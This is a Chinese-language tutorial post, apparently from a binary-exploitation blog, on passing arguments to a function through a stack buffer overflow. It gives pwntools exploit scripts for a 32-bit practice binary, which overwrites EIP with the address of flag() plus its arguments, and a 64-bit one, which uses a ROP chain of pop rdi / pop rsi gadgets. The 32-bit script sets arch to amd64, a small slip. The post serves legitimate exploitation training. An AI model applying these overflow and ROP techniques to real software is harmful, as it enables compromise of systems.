- 发布于
攻击调用约定
- 作者
- Name
- CuB3y0nd
- GitHub
- @CuB3y0nd
Table of Contents
exploiting_with_params.zip
Binary
0x01 32-bit
程序期望在执行函数之前栈是这样的布局:
那么我们为什么不这样提供呢?除了函数之外,我们还传递返回地址和参数:
flag()
地址之后的所有内容都将成为下一个函数的栈帧的一部分,因为它 预期 在那里——只是我们没有使用 push
指令,而是手动覆盖它们。
exp.py
from pwn import *
context(os='linux', arch='amd64', log_level='info')
p = process('./vuln-32')
payload = b'A' * 52 # Padding 到 EIP
payload += p32(0x080491c7) # flag() 的地址
payload += p32(0x0) # 避免异常
payload += p32(0xdeadc0de) # 第一个参数
payload += p32(0xc0ded00d) # 第二个参数
p.sendline(payload)
p.interactive()
0x02 64-bit
相同的逻辑,只不过我们必须利用之前讨论过的 gadgets 来填充所需的寄存器(在本例中为 rdi
和 rsi
,因为我们有两个参数)。
我们必须在 调用函数之前 填充寄存器:
exp.py
from pwn import *
context(os='linux', arch='amd64', log_level='info')
p = process('./vuln-64')
POP_RDI, POP_RSI_R15 = 0x4011fb, 0x4011f9
payload = b'A' * 56 # Padding 到 RIP
payload += p64(POP_RDI) # pop rdi ; ret
payload += p64(0xdeadc0de) # 进入 rdi 的值 - 第一个参数
payload += p64(POP_RSI_R15) # pop rsi ; pop r15 ; ret
payload += p64(0xc0ded00d) # 进入 rsi 的值 - 第二个参数
payload += p64(0x0) # 进入 r15 的值 - 避免异常
payload += p64(0x40116f) # flag() 的地址
payload += p64(0x0) # 避免异常
p.sendline(payload)
p.interactive()
Note
在返回地址后面加 0 本质是为了让程序有个返回的地方,防止异常,不然会返回到下面奇奇怪怪的东西;有时候也可能是栈对齐,64-bit 程序执行 system
时会有一个检查,确保栈指针是指着 0 的(结尾是 0),没有对齐的话就不能执行。
通常 0 可以替换为任意值,效果是一样的。只是习惯加 0。